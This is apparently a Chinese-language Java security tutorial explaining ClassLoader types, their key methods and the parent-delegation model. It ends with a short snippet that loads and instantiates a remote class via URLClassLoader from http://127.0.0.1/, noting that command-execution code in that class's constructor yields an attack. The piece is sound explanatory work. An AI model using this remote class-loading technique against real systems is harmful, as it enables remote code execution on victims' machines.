ClassLoader是什么?引用网上的解释,很通俗易懂
一个完整的 Java 应用程序由若干个 Java Class 文件组成,当程序在运行时,会通过一个入口函数来调用系统的各个功能,这些功能都被存放在不同的 Class 文件中。
因此,系统在运行时经常会调用不同 Class 文件中被定义的方法,如果某个 Class 文件不存在,则系统会抛出 ClassNotFoundException 异常。
系统程序在启动时,不会一次性加载所有程序要使用的 Class 文件到内存中,而是根据程序需要,通过 Java 的类加载机制动态将需要使用的 Class 文件加载到内存中; 只有当某个 Class 文件被加载到内存后,该文件才能被其他 Class 文件调用。
这个 “类加载机制“ 就是 ClassLoader , 他的作用是动态加载 Java Class 文件到 JVM 的内存空间中,让 JVM 能够调用并执行 Class 文件中的字节码
ClassLoader分为两类,分别为 JVM 默认加载器 和 用户自定义类加载器
JVM 默认加载器
JVM 默认加载器由引导类加载器(BootstrapClassLoader)、扩展类加载器(ExtensionsClassLoader)、系统类加载器组成(AppClassLoader)
用户自定义类加载器
用户自定义类加载器由用户自定义,用户怎么自定义类加载器呢?只需要继承java.lang.ClassLoader.class
类并重写其findClass
方法即可
引导类加载器的对应类为sun.misc$BootClassPathHolder
内部类,该加载器会加载 %JAVA_HOME%/jre/lib/
目录下的java核心库
扩展类加载器的对应类为sun.misc$ExtClassLoader
内部类,其继承了URLClassLoader加载器,所以它的父类加载器为URLClassLoader,该加载器会加载 %JAVA_HOME%/jre/lib/ext/
目录下的java核心扩展库
系统类加载器的对应类为sun.misc$AppClassLoader
内部类,其继承了URLClassLoader加载器,所以它的父类加载器为URLClassLoader,该加载器会根据CLASSPATH 环境变量中指定的路径进行加载
java.lang.ClassLoader
类的常用方法有loadClass、findClass、defineClass
loadClass(String name) 加载名称为 name 的类,返回的结果是 java.lang.Class
类的实例
findClass(String name) 查找名称为 name 的类,返回的结果是 java.lang.Class
类的实例
defineClass(String name, byte[] b, int off, int len) 把字节数组 b 中的内容转换成 Java 类,返回的结果是 java.lang.Class
类的实例
loadClass方法源码如下
先通过findLoadedClass方法查找要加载的类,如果已经加载了则不再进行加载。然后调用父类加载器的loadClass方法进行加载类,父类加载器也会判断是否已经加载,加载了就返回,没加载则再调用父类加载器。如果父类加载器都没加载,直到找到引导类加载器(BootstrapClassLoader),这时候就会调用findBootstrapClassOrNull方法进行查找要加载的类,父类没找到则委派给其子类查找,如果所有子类都没查到,则调用findClass方法进行查找,但是当我们没自定义类加载器时,findClass方法里面是空的,只有一个异常语句抛出,所以自定义类加载器时需要重写findClass方法
通过对java.lang.ClassLoader.loadClass
方法的代码分析,双亲委派机制不难理解
当一个类加载器要加载一个类时,会先判断自身加载器是否已经加载这个类,如果加载了就不再重复加载,自身加载器没加载则判断父类加载器是否加载这个类,如果加载了则不再重复加载,直至查找到引导类加载器(BootstrapClassLoader),这时确定没有加载这个类,那么就会查找这个类
引导类加载器(BootstrapClassLoader)会先在%JAVA_HOME%/jre/lib/
目录进行查找,如果没找到则委派给扩展类加载器(ExtensionsClassLoader)查找,如果还没找到,则继续委派给系统类加载器(AppClassLoader)查找,再没找到则委派给自定义加载器进行查找,再找不到则抛出异常
下面一张图描绘了双亲委派机制
结合前面的源码分析,双亲委派机制应该不难理解。那么双亲委派机制有哪些优势呢?
双亲委派机制可以确保不重复加载类,在加载器(包括其父类加载器)已经加载对应类的情况下,不会再重复加载。不再重复加载也保证了java核心库的安全,当攻击者自定义一个恶意的java.lang.String
类并通过一定手段传输到对方电脑上时,由于双亲委派机制,当尝试加载这个恶意类的时候,会因为String类已经加载过而不会重复加载此类,避免了java核心库类被修改
在java安全中,URLClassLoader加载器还是比较常用的,通过这个加载器我们可以加载本地Class文件和网络传输的Class文件
如下代码加载http://127.0.0.1/Example02
恶意类并实例化,往恶意类的构造方法添加执行命令的代码即可实现攻击
package com.example; import java.net.URL; import java.net.URLClassLoader; public class Example01 { public static void main(String[] args) throws Exception { URL url = new URL("http://127.0.0.1/"); URLClassLoader classLoader = new URLClassLoader(new URL[]{url}); Class clazz = classLoader.loadClass("Example02"); clazz.newInstance(); } }
java安全漫谈《Java中动态加载字节码的那些方法》
https://www.guildhab.top/2021/03/java%E5%9F%BA%E7%A1%80%E7%AC%94%E8%AE%B0-%E7%B1%BB%E5%8A%A0%E8%BD%BD%E5%99%A8-classloader/
https://ego00.blog.csdn.net/article/details/119456460